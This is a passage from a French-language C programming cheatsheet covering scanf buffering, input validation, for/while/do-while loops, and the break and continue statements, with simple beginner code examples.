<div class="theme-admonition theme-admonition-warning admonition_xJq3 alert alert--warning"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 16 16"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 0 0 0 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 0 0 .01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg></span>problème de tampon</div><div class="admonitionContent_BuS1"><p>Lorsque l'on effectue plusieurs <code>scanf</code> à la suite, il est possible que des sauts de ligne restent dans le tampon d'entrée.</p><div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token macro property directive-hash" style="color:#36acaa">#</span><span class="token macro property directive keyword" style="color:#00009f">include</span><span class="token macro property" style="color:#36acaa"> </span><span class="token macro property string" style="color:#e3116c">&lt;stdio.h&gt;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">float</span><span class="token plain"> height</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">char</span><span class="token plain"> initial</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">age</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%f"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">height</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">initial</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Age: %d\nHeight: %.2f m\nInitial: %c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> age</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> height</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> initial</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">	</span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div><p>Si vous essayez de rentrer la seconde valeur, cela va vous donner le résultat final malgré qu'il y ait un troisième <code>scanf</code> présent.
Pour résoudre ce problème il faut ajouter un espace avant le spécificateur de format :</p><div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">ajout d'un espace</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">" %c"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">initial</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div><p>Ceci permet d'indiquer à <code>scanf</code> d'ignorer les espaces blancs (comme <code>\n</code>) jusqu'à ce qu'un caractère soit lu.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="validation-de-lentrée">Validation de l'entrée<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#validation-de-lentr%C3%A9e" class="hash-link" aria-label="Lien direct vers Validation de l'entrée" title="Lien direct vers Validation de l'entrée" translate="no">​</a></h3>
<p>Lorsque l'on accepte des données d'un utilisateur, il est important que l'on vérifie que cette entrée est bonne avant de l'utiliser dans notre programme.</p>
<p>Pour cela, on peut effectuer deux types de validation :</p>
<ul>
<li class="">validation de la saisie au niveau du <strong>type</strong></li>
<li class="">validation de la saisie au niveau du <strong>domaine de valeur attendu</strong></li>
</ul>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">validation du type</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> number</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">number</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">result </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// L'entrée est bien un entier</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// L'utilisateur a saisi une valeur invalide (ex. du texte)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Ici, <code>scanf</code> va essayer de lire un <strong>entier</strong> depuis l'entrée de l'utilisateur. Si l'utilisateur rentre une valeur correcte, <code>result=1</code> sinon <code>result=0</code>.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Valisation du domaine</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">number </span><span class="token operator" style="color:#393A34">&gt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;&amp;</span><span class="token plain"> number </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">100</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// L'entier est dans la plage attendue</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">else</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// L'entier est hors plage (ex. négatif, trop grand, etc.)</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Cette étape est indépendant du test précédente, on vérifie la <strong>cohérence des données</strong>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-boucles">Les boucles<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#les-boucles" class="hash-link" aria-label="Lien direct vers Les boucles" title="Lien direct vers Les boucles" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-boucle-for">La boucle for<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#la-boucle-for" class="hash-link" aria-label="Lien direct vers La boucle for" title="Lien direct vers La boucle for" translate="no">​</a></h3>
<p>La boucle for nous permet d'exécuter un bloc de code de manière répétée pour un certain nombre de fois.</p>
<p>La boucle for a trois composants :</p>
<ul>
<li class=""><strong>Initialisation</strong> : exécutée une seule fois avant que la boucle commence.</li>
<li class=""><strong>Condition</strong> : vérifiée entre chaque itération de boucle</li>
<li class=""><strong>Update</strong> : exécutée après chaque itération</li>
</ul>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure de la boucle for</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">initialization</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> condition</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> update</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Code a exécuter</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle for comptant de 1 à 5</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-boucle-while">La boucle while<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#la-boucle-while" class="hash-link" aria-label="Lien direct vers La boucle while" title="Lien direct vers La boucle while" translate="no">​</a></h3>
<p>La boucle while nous permet d'exécuter un bloc de code aussi longtemps que sa condition est vraie.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure de la boucle while</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">condition</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Code à répéter</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Pour faire une boucle while qui compte de 1 à 5, on peut faire :</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle while comptant de 1 à 5</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> count </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">count </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> count</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    count</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>La boucle continuera jusqu'à ce que <code>count</code> passe à <code>6</code>, et donc que la condition ne soit plus valable, ce qui termine donc la boucle.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="la-boucle-do-while">La boucle do-while<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#la-boucle-do-while" class="hash-link" aria-label="Lien direct vers La boucle do-while" title="Lien direct vers La boucle do-while" translate="no">​</a></h3>
<p>la boucle do-while est similaire à la boucle while mais avec une différence très importante : le bloc de code dans la boucle est exécutée au moins une fois, puis la condition sera consultée.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Structure de la boucle do-while</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">do</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Code to be executed</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">condition</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de boucle do-while</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> number</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">do</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Please enter a positive number: "</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">scanf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">&amp;</span><span class="token plain">number</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">number </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"You entered: %d\n"</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> number</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Ainsi, dans ce code, on nous demandera au moins une fois de rentrer un nombre. La condition nous fera rester ou sortir de la boucle après l'exécution du code.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="instruction-break"><span id="break">instruction <code>break</code></span><a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#instruction-break" class="hash-link" aria-label="Lien direct vers instruction-break" title="Lien direct vers instruction-break" translate="no">​</a></h3>
<p>La déclaration <code>break</code> permet d'arrêter une boucle instantanément lorsqu'elle est rencontrée.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">i </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">6</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>On va alors avoir :</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">4</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><br></div></code></pre></div></div>
<p>La boucle s'arrête entièrement et ne s'exécute pas pas la suite.</p>
<div class="theme-admonition theme-admonition-tip admonition_xJq3 alert alert--success"><div class="admonitionHeading_Gvgb"><span class="admonitionIcon_Rf37"><svg viewBox="0 0 12 16"><path fill-rule="evenodd" d="M6.5 0C3.48 0 1 2.19 1 5c0 .92.55 2.25 1 3 1.34 2.25 1.78 2.78 2 4v1h5v-1c.22-1.22.66-1.75 2-4 .45-.75 1-2.08 1-3 0-2.81-2.48-5-5.5-5zm3.64 7.48c-.25.44-.47.8-.67 1.11-.86 1.41-1.25 2.06-1.45 3.23-.02.05-.02.11-.02.17H5c0-.06 0-.13-.02-.17-.2-1.17-.59-1.83-1.45-3.23-.2-.31-.42-.67-.67-1.11C2.44 6.78 2 5.65 2 5c0-2.2 2.02-4 4.5-4 1.22 0 2.36.42 3.22 1.19C10.55 2.94 11 3.94 11 5c0 .66-.44 1.78-.86 2.48zM4 14h5c-.23 1.14-1.3 2-2.5 2s-2.27-.86-2.5-2z"></path></svg></span>Remarque</div><div class="admonitionContent_BuS1"><p>L'instruction <code>break</code> n'est pas à utiliser à chaque problème que l'on rencontre. Elle reste très utile dans certain cas comme les <code>switch case</code>.<br>
<!-- -->Autrement, rappelez-vous qu'il y a presque tout le temps une solution. Une boucle for peut être une boucle while et inversement.</p><div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">array</span><span class="token punctuation" style="color:#393A34">[</span><span class="token plain">i</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> target</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        index </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">break</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// On a trouvé, inutile de continuer</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div><p>Ce genre de boucle peut se faire en while sans break.</p><p>Utilisez cette instruction comme un <strong>mécanisme de contrôle</strong>.</p></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="instruction-continue">instruction <code>continue</code><a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#instruction-continue" class="hash-link" aria-label="Lien direct vers instruction-continue" title="Lien direct vers instruction-continue" translate="no">​</a></h3>
<p>L'instruction <code>continue</code> arrête l'itération actuelle d'une boucle et continue à l'itération suivante.</p>
